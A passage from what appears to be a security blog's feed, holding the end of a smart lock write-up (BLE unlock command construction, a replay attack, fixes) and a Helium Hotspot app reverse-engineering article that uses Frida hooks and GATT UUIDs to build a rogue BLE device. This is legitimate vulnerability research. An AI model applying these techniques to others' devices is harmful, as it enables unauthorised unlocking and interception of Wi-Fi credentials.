&#8594; SmartLock  @ 0x36f5: 3E 62 BB 1D F5 6C 60 94 84 E0 E3 87 26 0A 8B BE
NOTIFY SmartLock &#8594; Android @ 0x36f6: 93 C6 50 7E 00 79 94 24 6E 6E 40 EA D7 F8 86 7E

WRITE Android &#8594; SmartLock  @ 0x36f5: FC B1 5D A6 3E 3C DD E4 56 72 60 2D 03 34 84 98
NOTIFY SmartLock &#8594; Android @ 0x36f6: DE 4F 0D BB F5 1B 34 08 5F DD F9 FC 59 A9 C5 EF

WRITE Android &#8594; SmartLock  @ 0x36f5: C6 9D BC DA 2F 39 C7 AD 32 8D DA 21 B2 14 61 FE
NOTIFY SmartLock &#8594; Android @ 0x36f6: DE 4F 0D BB F5 1B 34 08 5F DD F9 FC 59 A9 C5 EF</code></pre><p>From these patterns, we observed that each write command from the app was met with a corresponding BLE notification from the lock. The contents of the messages varied with operation types but were consistently 16 bytes in size and AES-encrypted.</p><p>Each operation &#8212; such as open lock, query status, or reset password &#8212; had a specific opcode. For example, <code>OPEN_LOCK</code> was identified as <code>0501</code> in the application's BLE message definition enum.</p><h2>Constructing and Sending Unlock Commands</h2><p>The unlock command is constructed in the app by a class similar to the following:</p><pre><code>public class i extends z {
    public i(String password) {
        super(TYPE.OPEN_LOCK);
        char[] chars = password.toCharArray();
        a((byte) 6, (byte) chars[0], ..., (byte) chars[5]);
    }
}</code></pre><p>Once constructed, the payload is encrypted and transmitted using:</p><pre><code>BLEService.a(context, b.a(new i("000000")));</code></pre><p>By extracting the password from the decrypted <code>encryptedData</code>, we were able to replicate this sequence and issue an unlock command ourselves from a custom script.</p><h2>Replay Vulnerability</h2><p>BLE messages were static and reusable. Because no freshness mechanism was implemented (e.g., nonce, counter, or session token), we were able to capture a valid unlock message and replay it later with success. No additional authentication or time-based validation occurred on the lock side.</p><p>This constitutes a full replay attack vulnerability and would allow any nearby attacker to capture and reuse unlock commands.</p><h2>Root Cause Analysis</h2><p>The compromise was made possible by several design failures:</p><ul><li><p>The device binding API lacked proper authorization and proximity validation</p></li><li><p>Encryption used a static key embedded in the client</p></li><li><p>BLE communication lacked any message integrity or replay protection</p></li><li><p>The application code revealed all internal cryptographic operations and protocol definitions without obfuscation</p></li></ul><h2>Recommendations</h2><p>To prevent this class of attack, manufacturers should consider the following improvements:</p><ul><li><p>Enforce physical proximity checks during binding via BLE challenge-response</p></li><li><p>Provision per-device cryptographic keys securely during manufacturing</p></li><li><p>Use message authentication codes (MACs) with nonce or counter to prevent replay attacks</p></li><li><p>Replace ECB mode with authenticated encryption (e.g., AES-GCM.</p></li><li><p>Obfuscate mobile application code and prevent dynamic inspection via Frida or similar tools</p></li></ul><h2>Conclusion</h2><p>Through this research, we demonstrated that a combination of insecure API design, weak cryptographic practices, and poor BLE protocol implementation can result in full device compromise.</p><p>We were able to:</p><ul><li><p>Register a lock without physical possession</p></li><li><p>Retrieve and decrypt its private credentials</p></li><li><p>Construct and transmit BLE commands to unlock the device</p></li><li><p>Replay previously captured BLE traffic for unauthorized access</p></li></ul><p>This case highlights the urgent need for embedded security best practices in smart device development. It is not sufficient to encrypt data &#8212; the entire lifecycle of key management, communication, and user control must be secured.</p><p>Future research may explore additional BLE commands, fingerprint bypass vectors, or over-the-air update mechanisms if present.</p><h2>Secure by Design. Tested in the Real World</h2><p>This kind of research isn&#8217;t theoretical&#8212;it reflects real vulnerabilities found in real products currently on the market. If you're building smart locks, connected devices, or BLE-enabled systems, ask yourself:</p><p><strong>Has your product been tested like this?</strong></p><p>At our firm, we specialize in uncovering and mitigating exactly these kinds of flaws&#8212;before attackers do. From reverse engineering and protocol fuzzing to full-stack API abuse scenarios, we provide deep technical security assessments tailored to embedded and IoT products.</p><p><strong>Ready to harden your product?</strong></p><p>Let&#8217;s talk.</p><h2>More Bluetooth Hacking</h2><p>Would you like to learn more on how to hack bluetooth @anything ? Subscribe, and if you are already a subscriber, stay tuned for more!</p>]]></content:encoded></item><item><title><![CDATA[Reverse Engineering Helium Miner's BLE Comms]]></title><description><![CDATA[This article walks through reverse engineering the Helium Hotspot app to set up a fake (rogue) BLE device that looks like a real hotspot.]]></description><link>https://blog.cybervelia.com/p/reverse-engineering-helium-miners</link><guid isPermaLink="false">https://blog.cybervelia.com/p/reverse-engineering-helium-miners</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 14 May 2025 19:29:15 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/5dff27b7-5fc3-4853-8702-0c54bf7c1c59_1280x720.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This article walks through reverse engineering the Helium Hotspot app to set up a fake (rogue) BLE device that looks like a real hotspot. The goal is to understand how the app communicates over Bluetooth, what data it expects, and how to simulate a real device &#8212; all without owning the actual hardware.</p><p>Helium devices use the LoRa protocol to provide long-range wireless coverage (up to 50km) for remote sensors. LoRa keys and Wi-Fi credentials are passed to the device either through Bluetooth or Wi-Fi, meaning these values must be transferred somehow &#8212; and that&#8217;s what we want to intercept and understand.</p><p>Since the setup process uses BLE, and I have experience working with BLE systems, this seemed like a good opportunity to explore.</p><p>This article discusses the whole procedure of the reverse engineering without skipping any steps and its highly technical article - a write-up basically. For non-technical readers you may skip and go to the summary.</p><h3>Reverse engineering of Helium Hotspot Application</h3><p>The goal was to make the Helium mobile app connect to a rogue hotspot created by us. For this to work, the app first scans for nearby Bluetooth devices and then checks if any of them match the expected signature of a genuine Helium device.</p><p>The process began by decompiling the APK using the Jadx decompiler.</p><p>The next step was to identify how the app filters devices during the scan. This filtering can be based on various broadcasted data, such as services, device name, or MAC address. It was observed that the app uses the Polidea BLE SDK to handle this filtering.</p><pre><code>com.polidea.rxandroidble.scan.ScanFilter</code></pre><p>The class ScanFilter is responsible for filtering scanned devices. By starting a scan through the Helium application, the app is forced to create an instance of this class in memory. This instance is then located in memory and its contents are printed using dynamic instrumentation, as shown below:</p><pre><code>    Java.choose("com.polidea.rxandroidble.scan.ScanFilter" , {
      onMatch : function(instance){ 
        console.log(instance.toString());
      },
      onComplete:function(){console.log("finished");}
    });</code></pre><p>Frida Output:</p><pre><code>[Nexus 5X::com.helium.wallet]-&gt; started
BluetoothLeScanFilter [mDeviceName=null, mDeviceAddress=null, mUuid=null, mUuidMask=null, mServiceDataUuid=null, mServiceData=null, mServiceDataMask=null, mManufacturerId=-1, mManufacturerData=null, mManufacturerDataMask=null]
BluetoothLeScanFilter [mDeviceName=null, mDeviceAddress=null, mUuid=0fda92b2-44a2-4af2-84f5-fa682baa2b8d, mUuidMask=null, mServiceDataUuid=null, mServiceData=null, mServiceDataMask=null, mManufacturerId=-1, mManufacturerData=null, mManufacturerDataMask=null]
finished</code></pre><p>It was determined that the application uses only the service ID in the advertisement to decide whether to connect to a device.</p><p>This service ID is a 128-bit UUID: 0fda92b2-44a2-4af2-84f5-fa682baa2b8d. A search through the source code didn&#8217;t reveal any references to it.</p><p>To move forward, the next step was to locate where this filter is being set and trace it back through the code.</p><pre><code>var Log = Java.use("android.util.Log");
var Exception = Java.use("java.lang.Exception");


var scanfilter = Java.use("com.polidea.rxandroidble.scan.ScanFilter$Builder");
scanfilter.setServiceUuid.overload('android.os.ParcelUuid').implementation = function(uuid){
    console.log("uuid: " + uuid.toString());
    console.log(Log.getStackTraceString(Exception.$new()));
    return scanfilter.setServiceUuid.overload('android.os.ParcelUuid').call(this, uuid);
}</code></pre><pre><code>uuid: 0fda92b2-44a2-4af2-84f5-fa682baa2b8d
java.lang.Exception
    at com.polidea.rxandroidble.scan.ScanFilter$Builder.setServiceUuid(Native Method)
    at com.polidea.multiplatformbleadapter.BleModule.safeStartDeviceScan(BleModule.java:1231)
    at com.polidea.multiplatformbleadapter.BleModule.startDeviceScan(BleModule.java:192)
    at com.polidea.reactnativeble.BleClientManager.startDeviceScan(BleClientManager.java:182)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
    at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
    at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
    at android.os.Handler.handleCallback(Handler.java:790)
    at android.os.Handler.dispatchMessage(Handler.java:99)
    at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
    at android.os.Looper.loop(Looper.java:164)
    at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
    at java.lang.Thread.run(Thread.java:764)
&#8203;</code></pre><p>It appeared that the UUID was being set by multiple methods within the BleModule class.</p><p>To proceed, it was necessary to get a clearer understanding of the core classes provided by the Polidea library. Both BleModule and BleClientManager were identified as strong candidates for further inspection, as they implement key BLE functionalities typically involved in reverse engineering&#8212;such as connecting, scanning, reading, and writing characteristics.</p><p>Functions like discoverAllServicesAndCharacteristicsForDevice and characteristicsForDevice stood out, as they are usually involved in processing discovered services and characteristics, making them ideal starting points.</p><p>Log messages were also checked in hopes of finding unique strings that could help trace relevant code during decompilation. Unfortunately, the logs didn&#8217;t provide anything useful.</p><p>Initially, it didn&#8217;t seem like the application was built with React Native. However, by this stage, it became clear that it actually was. At that point, it was tempting to stop due to the added complexity.</p><pre><code>npx react-native-decompiler -i ./index.android.bundle -o ./output</code></pre><pre><code>thio@re:~/Downloads/Reversing/helium/helium/assets$ npx react-native-decompiler -i ./index.android.bundle -o ./output
npx: installed 178 in 7.646s
Unexpected token {</code></pre><p>The main objective at this point was to locate where the BLE functions were being called from. However, there was limited information available to work with.</p><p>The JavaScript bundle was beautified, and a search was conducted for key functions such as discoverAllServicesAndCharacteristicsForDevice and characteristicsForDevice. These functions were successfully found within the code, confirming that they were part of the application's logic.</p><pre><code>discoverAllServicesAndCharacteristicsForDevice: EA:BC:CC:11:33:13,5
java.lang.Exception
    at com.polidea.multiplatformbleadapter.BleModule.discoverAllServicesAndCharacteristicsForDevice(Native Method)
    at com.polidea.reactnativeble.BleClientManager.discoverAllServicesAndCharacteristicsForDevice(BleClientManager.java:390)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
    at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
    at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
    at android.os.Handler.handleCallback(Handler.java:790)
    at android.os.Handler.dispatchMessage(Handler.java:99)
    at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
    at android.os.Looper.loop(Looper.java:164)
    at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
    at java.lang.Thread.run(Thread.java:764)
&#8203;
getCharacteristicsForDevice: EA:BC:CC:11:33:13,0fda92b2-44a2-4af2-84f5-fa682baa2b8d
java.lang.Exception
    at com.polidea.multiplatformbleadapter.BleModule.getCharacteristicsForDevice(Native Method)
    at com.polidea.reactnativeble.BleClientManager.characteristicsForDevice(BleClientManager.java:426)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
    at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
    at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
    at android.os.Handler.handleCallback(Handler.java:790)
    at android.os.Handler.dispatchMessage(Handler.java:99)
    at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
    at android.os.Looper.loop(Looper.java:164)
    at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
    at java.lang.Thread.run(Thread.java:764)</code></pre><pre><code>key: "discoverAllServicesAndCharacteristicsForDevice",
value: function(t, n) {
    var c;
    return s.default.async(function(u) {
        for (;;) switch (u.prev = u.next) {
            case 0:
                return n || (n = this._nextUniqueID()), u.next = 3, s.default.awrap(this._callPromise(p.BleModule.discoverAllServicesAndCharacteristicsForDevice(t, n)));
            case 3:
                return c = u.sent, u.abrupt("return", new o.Device(c, this));
            case 5:
            case "end":
                return u.stop()
        }
    }, null, this, null, Promise)
}</code></pre><p>React was treated as a black box, used only to extract the necessary strings. The setup placed the Android API as the lower layer, React JavaScript as the upper layer, and the analysis somewhere in between&#8212;trying to understand what the React code needed in order to move forward (such as device registration or sending encryption keys).</p><p>A search was done within the React code to locate the UUIDs being used.</p><p>The good news was that the expected logic was found, and the relevant code was successfully revealed.</p><pre><code>}, t.getDeviceInfo = function() {
    var n, u, o, c, l, f, p, w, h, v, b;
    return s.default.async(function(x) {
        for (;;) switch (x.prev = x.next) {
            case 0:
                return n = t.state.connectedHotspot, x.next = 3, s.default.awrap(n.characteristicsForService(D));
            case 3:
                return u = x.sent, o = u.find(function(t) {
                    return t.uuid === A
                }), x.next = 7, s.default.awrap(o.read());
            case 7:
                return c = x.sent, x.next = 10, s.default.awrap(n.characteristicsForService(F));
            case 10:
                return l = x.sent, f = l.find(function(t) {
                    return t.uuid === R
                }), x.next = 14, s.default.awrap(f.read());
            case 14:
                return p = x.sent, k.default.logBreadcrumb("wifi read " + p), w = l.find(function(t) {
                    return t.uuid === j
                }), x.next = 19, s.default.awrap(w.read());
            case 19:
                return h = x.sent, v = l.find(function(t) {
                    return t.uuid === V
                }), k.default.logBreadcrumb("wifiConfiguredCharacteristic " + v), b = {}, x.prev = 23, x.next = 26, s.default.awrap(v.read());
            case 26:
                b = x.sent, x.next = 32;
                break;
            case 29:
                x.prev = 29, x.t0 = x.catch(23), k.default.sendError(x.t0);
            case 32:
                return x.abrupt("return", {
                    wifiSSID: (0, y.fromBs64)(p.value),
                    wifiConfigured: b,
                    ethernetOnline: (0, y.fromBs64)(h.value),
                    firmwareVersion: (0, y.fromBs64)(c.value)
                });
            case 33:
            case "end":
                return x.stop()
        }
    }, null, null, [</code></pre><p>The downside was that the code was minified and stripped, making it harder to read. Then again, that wasn&#8217;t too bad. The real challenge was dealing with JavaScript itself, which made the process more frustrating than it needed to be.</p><p>In the react source there is a very interesting code snippet:</p><pre><code>}, t.setWifiCredentials = function(n, u) {
    var o, c, l, f;
    return s.default.async(function(p) {
        for (;;) switch (p.prev = p.next) {
            case 0:
                return k.default.logBreadcrumb('Bluetooth::setWifiCredentials'), p.next = 3, s.default.awrap((0, x.setWifiServices)(n, u));
            case 3:
                return o = p.sent, c = t.state.connectedHotspot, p.next = 7, s.default.awrap(c.characteristicsForService(F));
            case 7:
                return l = p.sent, p.next = 10, s.default.awrap(l.find(function(t) {
                    return t.uuid === W
                }));
            case 10:
                return f = p.sent, p.next = 13, s.default.awrap(f.writeWithResponse(o));
            case 13:
                return p.abrupt("return", f);
            case 14:
            case "end":
                return p.stop()
        }</code></pre><p>Looks like the wifi connection is being setup via Bluetooth. So I wonder how strong the bluetooth security is.</p><p>The LoRa keys and wifi keys are transferred via bluetooth so if the bluetooth fails, everything else fails too.</p><p>While reviewing the Bluetooth-related code, several UUIDs were identified:</p><pre><code>    var F = '0fda92b2-44a2-4af2-84f5-fa682baa2b8d',
        D = '0000180a-0000-1000-8000-00805f9b34fb',
        A = '00002a26-0000-1000-8000-00805f9b34fb',
        B = 'd7515033-7e7b-45be-803f-c8737b171a29',
        W = '398168aa-0111-4ec0-b1fa-171671270608',
        R = '7731de63-bc6a-4100-8ab1-89b2356b038b',
        N = 'df3b16ca-c985-4da2-a6d2-9b9b9abdb858',
        G = 'd435f5de-01a4-4e7d-84ba-dfd347f60275',
        I = '0a852c59-50d3-4492-bfd3-22fe58a24f01',
        L = 'd083b2bd-be16-4600-b397-61512ca2f5ad',
        U = 'b833d34f-d871-422c-bf9e-8e6ec117d57e',
        j = 'e5866bd6-0288-4476-98ca-ef7da6b4d289',
        V = 'e125bda4-6fb8-11ea-bc55-0242ac130003',
        M = '8cc6e0b3-98c5-40cc-b1d8-692940e6994b',</code></pre><p>This was promising, but it raised a question: were these UUIDs for services or characteristics?</p><p>Some, like 0000180a-0000-1000-8000-00805f9b34fb and 00002a26-0000-1000-8000-00805f9b34fb, were immediately recognized as standard Bluetooth entries. These are well-known&#8212;0000180a... refers to the Device Information service, and 00002a26... is the Firmware Revision String characteristic.</p><p>The rest were 128-bit UUIDs, which typically means they're custom and vendor-defined.</p><p>When checking the UUID 398168aa-0111-4ec0-b1fa-171671270608 online, it led to a GitHub repository related to the Helium miner&#8212;an important discovery.</p><pre><code>Characteristic WiFiConnect 398168aa-0111-4ec0-b1fa-171671270608</code></pre><p>After some investigation, it became clear that this was an older, deprecated implementation of the Helium miner written in Python. It included references to BlueZ, the Linux Bluetooth stack, indicating that communication was handled over Bluetooth.</p><p>There were two possible explanations for the use of Bluetooth:</p><p>    BLE is required to control the Helium device directly.</p><p>    BLE is used by the Python-based miner to allow the mobile app to connect and control it.</p><p>It turned out that the second scenario was correct. The miner can run in Python, and the mobile app interacts with it over BLE.</p><p>So all UUIDs for all services and characteristics along with their descriptions should be there. Awesome. bye javascript world!</p><p>The following python file contains all the UUIDs along with their descriptions! found in the github repo just mentioned:</p><pre><code>&#8203;
# Firmware UUID
FIRMWARE_VERSION_CHARACTERISTIC_UUID = "00002a26-0000-1000-8000-00805f9b34fb"
&#8203;
# Onboarding Key
ONBOARDING_KEY_CHARACTERISTIC_UUID = "d083b2bd-be16-4600-b397-61512ca2f5ad"
ONBOARDING_KEY_VALUE = "Onboarding Key"
&#8203;
# Public Key
PUBLIC_KEY_CHARACTERISTIC_UUID = "0a852c59-50d3-4492-bfd3-22fe58a24f01"
PUBLIC_KEY_VALUE = "Public Key"
&#8203;
# WiFiServices
WIFI_SERVICES_CHARACTERISTIC_UUID = "d7515033-7e7b-45be-803f-c8737b171a29"
WIFI_SERVICES_VALUE = "WiFi Services"
&#8203;
# WiFiConfiguredServices
WIFI_CONFIGURED_SERVICES_CHARACTERISTIC_UUID = "e125bda4-6fb8-11ea-bc55-0242ac130003"
WIFI_CONFIGURED_SERVICES_VALUE = "WiFi Configured Services"
&#8203;
# WiFiRemove
WIFI_REMOVE_CHARACTERISTIC_UUID = "8cc6e0b3-98c5-40cc-b1d8-692940e6994b"
WIFI_REMOVE_VALUE = "WiFi Remove"
&#8203;
# Diagnostics
DIAGNOSTICS_CHARACTERISTIC_UUID = "b833d34f-d871-422c-bf9e-8e6ec117d57e"
DIAGNOSTICS_VALUE = "Diagnostics"
&#8203;
# Mac address
MAC_ADDRESS_CHARACTERISTIC_UUID = "9c4314f2-8a0c-45fd-a58d-d4a7e64c3a57"
MAC_ADDRESS_VALUE = "Mac Address"
&#8203;
# Lights
LIGHTS_CHARACTERISTIC_UUID = "180efdef-7579-4b4a-b2df-72733b7fa2fe"
LIGHTS_VALUE = "Lights"
&#8203;
&#8203;
# WiFiSSID
WIFI_SSID_CHARACTERISTIC_UUID = "7731de63-bc6a-4100-8ab1-89b2356b038b"
WIFI_SSID_VALUE = "WiFi SSID"
&#8203;
&#8203;
# AssertLocation
ASSERT_LOCATION_CHARACTERISTIC_UUID = "d435f5de-01a4-4e7d-84ba-dfd347f60275"
ASSERT_LOCATION_VALUE = "Assert Location"
&#8203;
# Add Gateway
ADD_GATEWAY_CHARACTERISTIC_UUID = "df3b16ca-c985-4da2-a6d2-9b9b9abdb858"
ADD_GATEWAY_KEY_VALUE = "Add Gateway"
&#8203;
# WiFiConnect
WIFI_CONNECT_CHARACTERISTIC_UUID = "398168aa-0111-4ec0-b1fa-171671270608"
WIFI_CONNECT_KEY_VALUE = "WiFi Connect"
&#8203;
&#8203;
# Ethernet Online
ETHERNET_ONLINE_CHARACTERISTIC_UUID = "e5866bd6-0288-4476-98ca-ef7da6b4d289"
ETHERNET_ONLINE_VALUE = "Ethernet Online"</code></pre><p>This also contains very important strings that we must impersonate. We would like to impersonate those as we would like to have a rogue peripheral that mobile application will search and connect to:</p><pre><code>FIRMWARE_VERSION = "2021.01.31.1"
DEVINFO_SVC_UUID = "180A"
FIRMWARE_SVC_UUID = "0000180a-0000-1000-8000-00805f9b34fb"
MANUFACTURE_NAME_CHARACTERISTIC_UUID = "2A29"
FIRMWARE_REVISION_CHARACTERISTIC_UUID = "2A26"
SERIAL_NUMBER_CHARACTERISTIC_UUID = "2A25"
USER_DESC_DESCRIPTOR_UUID = "2901"
PRESENTATION_FORMAT_DESCRIPTOR_UUID = "2904"</code></pre><p>In their repository i have found the gateway-config repo:</p><pre><code>"The Helium configuration application. Manages the configuration of the Helium Hotspot over Bluetooth, and ties together various services over dbus."</code></pre><pre><code>"Exposes a GATT BLE tree for configuring the hotspot over Bluetooth.
Signals gateway configuration (public key and Wi-Fi credentials) over dbus.
Listens for GPS location on SPI and signals the current Position of the hotspot over dbus."</code></pre><p>So everything is open and no further reversing is needed. &#128577;</p><h2>A new goal</h2><p>Let&#8217;s setup a python miner and connect to it via mobile app</p><p>Then, act as a MiTM in BLE Connection and analyze the communication and then setup our rogue Helium Hotspot.</p><h2>The Twist</h2><p>Helium previously allowed users to create DIY hotspots and earn tokens, but that option has now been discontinued.</p><p>However, the Android application is available in their repository and appears to be open source.</p><p>At this point, working with the JavaScript code started to feel a bit more manageable since the JS not is not stripped. Remember, we started by reversing the app without searching anything on the internet, as a blackbox app. Now we have the source code of the app.</p><pre><code>export enum Service {
  FIRMWARESERVICE_UUID = '0000180a-0000-1000-8000-00805f9b34fb',
  MAIN_UUID = '0fda92b2-44a2-4af2-84f5-fa682baa2b8d',
}
&#8203;
export enum FirmwareCharacteristic {
  FIRMWAREVERSION_UUID = '00002a26-0000-1000-8000-00805f9b34fb',
}
export enum HotspotCharacteristic {
  WIFI_SSID_UUID = '7731de63-bc6a-4100-8ab1-89b2356b038b',
  PUBKEY_UUID = '0a852c59-50d3-4492-bfd3-22fe58a24f01',
  ONBOARDING_KEY_UUID = 'd083b2bd-be16-4600-b397-61512ca2f5ad',
  AVAILABLE_SSIDS_UUID = 'd7515033-7e7b-45be-803f-c8737b171a29',
  WIFI_CONFIGURED_SERVICES = 'e125bda4-6fb8-11ea-bc55-0242ac130003',
  WIFI_REMOVE = '8cc6e0b3-98c5-40cc-b1d8-692940e6994b',
  WIFI_CONNECT_UUID = '398168aa-0111-4ec0-b1fa-171671270608',
  ADD_GATEWAY_UUID = 'df3b16ca-c985-4da2-a6d2-9b9b9abdb858',
  ASSERT_LOC_UUID = 'd435f5de-01a4-4e7d-84ba-dfd347f60275',
  DIAGNOSTIC_UUID = 'b833d34f-d871-422c-bf9e-8e6ec117d57e',
  ETHERNET_ONLINE_UUID = 'e5866bd6-0288-4476-98ca-ef7da6b4d289',
}</code></pre><p>By inspecting the application's source code, it was concluded that there are two main BLE services. One is the standard Device Information service, which includes the Firmware Revision String. The other is a custom service that holds all the vendor-specific characteristics used by the Helium hotspot.</p><p>The following code shows the initialization procedure:</p><pre><code>const initialState = {
  getState: async () =&gt; State.Unknown,
  enable: async () =&gt; {},
  scan: async () =&gt; {},
  connect: async () =&gt; undefined,
  discoverAllServicesAndCharacteristics: async () =&gt; undefined,
  findAndReadCharacteristic: () =&gt;
    new Promise&lt;undefined&gt;((resolve) =&gt; resolve()),
  findAndWriteCharacteristic: () =&gt;
    new Promise&lt;undefined&gt;((resolve) =&gt; resolve()),
  readCharacteristic: () =&gt; new Promise&lt;Characteristic&gt;((resolve) =&gt; resolve()),
  writeCharacteristic: () =&gt;
    new Promise&lt;Characteristic&gt;((resolve) =&gt; resolve()),
  findCharacteristic: async () =&gt; undefined,
}</code></pre><p>So first i configured all the characteristics and services and then i connected to BLE:Bit. </p><p>BLEBit Output:</p><pre><code>Read[WiFi_SSID]: 00000000000000000000
Read[PUBKey]: 00000000000000000000
Read[OnBoarding_Key]: 00000000000000000000</code></pre><p>No values were assigned to the characteristics yet, since there was no clear information on what the correct values should be.</p><p>Here&#8217;s how the hotspot configuration process works:</p><pre><code><code>const connectAndConfigHotspot</code> on <code>useHotspot.ts</code>.

const connectAndConfigHotspot = async (hotspotDevice: Device) =&gt; {
    let connectedDevice = hotspotDevice
    const connected = await hotspotDevice.isConnected()
    if (!connected) {
      const device = await connect(hotspotDevice)
      if (!device) return
      connectedDevice = device
    }
&#8203;
    const deviceWithServices = await discoverAllServicesAndCharacteristics(
      connectedDevice,
    )
    if (!deviceWithServices) return
&#8203;
    connectedHotspot.current = deviceWithServices
&#8203;
    const wifi = await getDecodedStringVal(HotspotCharacteristic.WIFI_SSID_UUID)
    const ethernetOnline = await getDecodedBoolVal(
      HotspotCharacteristic.ETHERNET_ONLINE_UUID,
    )
    const address = await getDecodedStringVal(HotspotCharacteristic.PUBKEY_UUID)
    const onboardingAddress = await getDecodedStringVal(
      HotspotCharacteristic.ONBOARDING_KEY_UUID,
    )
&#8203;
    const type = getHotspotType(onboardingAddress || '')
    const name = getHotspotName(type)
    const mac = hotspotDevice.localName?.slice(15)
&#8203;
    if (!onboardingAddress || onboardingAddress.length &lt; 20) {
      Logger.error(
        new Error(`Invalid onboarding address: ${onboardingAddress}`),
      )
    }
&#8203;
    const details = {
      address,
      mac,
      type,
      name,
      wifi,
      ethernetOnline,
      onboardingAddress,
    }
&#8203;
    const response = await dispatch(fetchHotspotDetails(details))
    return !!response.payload
  }</code></pre><p>In the following referenced code, the required hotspot name was identified. This name is used by the application to recognize and connect to the device:</p><pre><code>export type HotspotName = 'RAK Hotspot Miner' | 'Helium Hotspot'</code></pre><p>It was discovered that the application handles some characteristics differently from others. During the initialization stage, there was no code found that validates the actual content of these characteristics&#8212;as long as the values can be decoded from base64, they are accepted.</p><pre><code>import { decode } from 'base-64'
...
const parseWifi = (value: string): string[] =&gt; {
  const buffer = util.newBuffer(util.base64.length(value))
  util.base64.decode(value, buffer, 0)
  return WifiServicesV1.decode(buffer).services
}
&#8203;
const parseDiagnostics = (value: string) =&gt; {
  const buffer = util.newBuffer(util.base64.length(value))
  util.base64.decode(value, buffer, 0)
  return DiagnosticsV1.decode(buffer).diagnostics
}
...
export function parseChar(
  characteristicValue: string,
  uuid:
    | typeof HotspotCharacteristic.WIFI_SSID_UUID
    | typeof HotspotCharacteristic.PUBKEY_UUID
    | typeof HotspotCharacteristic.ONBOARDING_KEY_UUID
    | typeof HotspotCharacteristic.WIFI_REMOVE
    | typeof HotspotCharacteristic.WIFI_CONNECT_UUID
    | typeof HotspotCharacteristic.ADD_GATEWAY_UUID
    | typeof FirmwareCharacteristic.FIRMWAREVERSION_UUID,
): string
...
export function parseChar(
  characteristicValue: string,
  uuid: typeof HotspotCharacteristic.DIAGNOSTIC_UUID,
): DiagnosticInfo
...
export function parseChar(characteristicValue: string, uuid: string) {
  switch (uuid) {
    case HotspotCharacteristic.DIAGNOSTIC_UUID:
      return parseDiagnostics(characteristicValue) as DiagnosticInfo
    case HotspotCharacteristic.WIFI_CONFIGURED_SERVICES:
    case HotspotCharacteristic.AVAILABLE_SSIDS_UUID:
      return parseWifi(characteristicValue)
    case HotspotCharacteristic.ETHERNET_ONLINE_UUID: {
      const decodedValue = decode(characteristicValue)
      return decodedValue === 'true'
    }
  }</code></pre><p>From the code, we can see that the diagnostics, assert_loc, add_gateway, wifi_connect, wifi_remove and wifi_services are decoded and then decoded again by using protobuf: from '@helium/proto-ble'</p><h2>Setting up the Rogue BLE</h2><p>It appears that the public key, onboarding key, and WiFi SSID are all treated as simple strings, as shown in the earlier code. Additionally, several parts of the codebase include checks for empty strings.</p><p>With that in mind, the next step was to populate these characteristics with random base64-encoded strings, then set up a rogue BLE device using the known device name, characteristic UUIDs, and service UUIDs. The BLE:Bit tool was used to create and advertise this fake device, allowing the Helium app to detect and attempt a connection.</p><p>BLEBit Output:</p><pre><code>Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 56326868644756325a58
Setting OnBoarding Key...
Read[OnBoarding_Key]: 56326868644756325a58
Read[Avail_SSIDs]: 00000000000000000000
Read[WiFi_Configured]: 00000000000000000000</code></pre><p>The setup was successful&#8212;the application recognized the rogue device as a Helium hotspot. This confirmed that the WiFi SSID, public key, and onboarding key characteristics were being used by the app during the connection process.</p><p>However, for the Available SSIDs and WiFi Configuration characteristics, the app expects data to be encoded using protobuf, as indicated by the source code. The required protobuf definitions were located here:</p><p>(Without these definitions, the protobuf payload could be reverse engineered manually, though that approach is often unreliable.)</p><p>With the protobuf schemas available, the next step was to understand how the app processes this data. Once that logic is clear, it becomes possible to generate valid protobuf-encoded values and insert them into the corresponding characteristics&#8212;fully simulating a rogue hotspot.</p><h2>Available SSIDs &amp; Wifi Configured Services</h2><p>Below you may find the code that is responsible for parsing the SSID and Wifi Configured Services:</p><pre><code>case HotspotCharacteristic.WIFI_CONFIGURED_SERVICES:
case HotspotCharacteristic.AVAILABLE_SSIDS_UUID:
    return parseWifi(characteristicValue)</code></pre><pre><code>const parseWifi = (value: string): string[] =&gt; {
  const buffer = util.newBuffer(util.base64.length(value))
  util.base64.decode(value, buffer, 0)
  return WifiServicesV1.decode(buffer).services
}</code></pre><p>Wifi Services Proto:</p><pre><code>syntax = "proto3";
&#8203;
message wifi_services_v1 {
    repeated string services = 1;
}</code></pre><p>The characteristic available SSIDs is a string array encoded in protobuf which then must be encoded in base64! The same applies for wifi configured services too.</p><p>The handling mechanism seems pretty interesting to me at this moment.</p><h2>Handling BLE Values</h2><p>The following outlines the high-level logic that ties together all the previous steps observed in the application:</p><pre><code>useEffect(() =&gt; {
    const unsubscribe = navigation.addListener('focus', async () =&gt; {
      // connect to hotspot
      const success = await connectAndConfigHotspot(hotspot)
&#8203;
      // check for valid onboarding record
      if (!success) {
        // TODO actual screen for this
        Alert.alert('Error', 'Invalid onboarding record')
